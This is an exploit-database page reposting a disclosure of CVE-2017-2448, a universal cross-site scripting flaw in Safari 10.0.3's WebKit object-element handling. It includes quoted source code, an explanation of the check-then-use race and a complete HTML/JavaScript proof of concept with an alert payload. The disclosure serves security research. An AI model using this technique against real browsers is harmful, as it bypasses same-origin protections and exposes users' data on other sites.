Advertisement






Apple Safari 10.0.3(12602.4.8) / WebKit HTMLObjectElement::updateWidget Universal Cross-Site Scripti

CVE Category Price Severity
CVE-2017-2448 CWE-79 $10,000 High
Author Risk Exploitation Type Date
Unknown High Remote 2017-05-25
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017050180

Below is a copy:

Apple Safari 10.0.3(12602.4.8) / WebKit HTMLObjectElement::updateWidget Universal Cross-Site Scripting<!-- 
When an object element loads a JavaScript URL(e.g., javascript:alert(1)), it checks whether it violate the Same Origin Policy or not.
 
Here's some snippets of the logic.
 
void HTMLObjectElement::updateWidget(CreatePlugins createPlugins)
{
    ...
    String url = this->url(); 
    ...
    if (!allowedToLoadFrameURL(url))
        return;
    ...
 
    bool beforeLoadAllowedLoad = guardedDispatchBeforeLoadEvent(url);
    ...
 
    bool success = beforeLoadAllowedLoad && hasValidClassId();
    if (success)
        success = requestObject(url, serviceType, paramNames, paramValues);
    ...
}
 
bool HTMLPlugInImageElement::allowedToLoadFrameURL(const String& url)
{
    URL completeURL = document().completeURL(url);
    if (contentFrame() && protocolIsJavaScript(completeURL) && !document().securityOrigin().canAccess(contentDocument()->securityOrigin()))
        return false;
    return document().frame()->isURLAllowed(completeURL);
}
 
bool HTMLPlugInElement::requestObject(const String& url, const String& mimeType, const Vector<String>& paramNames, const Vector<String>& paramValues)
{
    if (m_pluginReplacement)
        return true;
 
    URL completedURL;
    if (!url.isEmpty())
        completedURL = document().completeURL(url);
 
    ReplacementPlugin* replacement = pluginReplacementForType(completedURL, mimeType);
    if (!replacement || !replacement->isEnabledBySettings(document().settings()))
        return false;
 
    LOG(Plugins, "%p - Found plug-in replacement for %s.", this, completedURL.string().utf8().data());
 
    m_pluginReplacement = replacement->create(*this, paramNames, paramValues);
    setDisplayState(PreparingPluginReplacement);
    return true;
}
 
The SOP violation check is made in the method HTMLPlugInImageElement::allowedToLoadFrameURL.
 
What I noticed is that there are two uses of |document().completeURL| for the same URL, and the method guardedDispatchBeforeLoadEvent dispatches a beforeloadevent that may execute JavaScript code after the SOP violation check. So if the base URL is changed like "javascript:///%0aalert(location);//" in the event handler, a navigation to the JavaScript URL will be made successfully.
 
Tested on Safari 10.0.3(12602.4.8).
 
PoC:
-->
 
<html>
<head>
</head>
<body>
<script>
 
let o = document.body.appendChild(document.createElement('object'));
o.onload = () => {
    o.onload = null;
 
    o.onbeforeload = () => {
        o.onbeforeload = null;
 
        let b = document.head.appendChild(document.createElement('base'));
        b.href = 'javascript:///%0aalert(location);//';
    };
    o.data = 'xxxxx';
};
 
o.type = 'text/html';
o.data = 'https://abc.xyz/';
 
</script>
</body>
</html>


Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum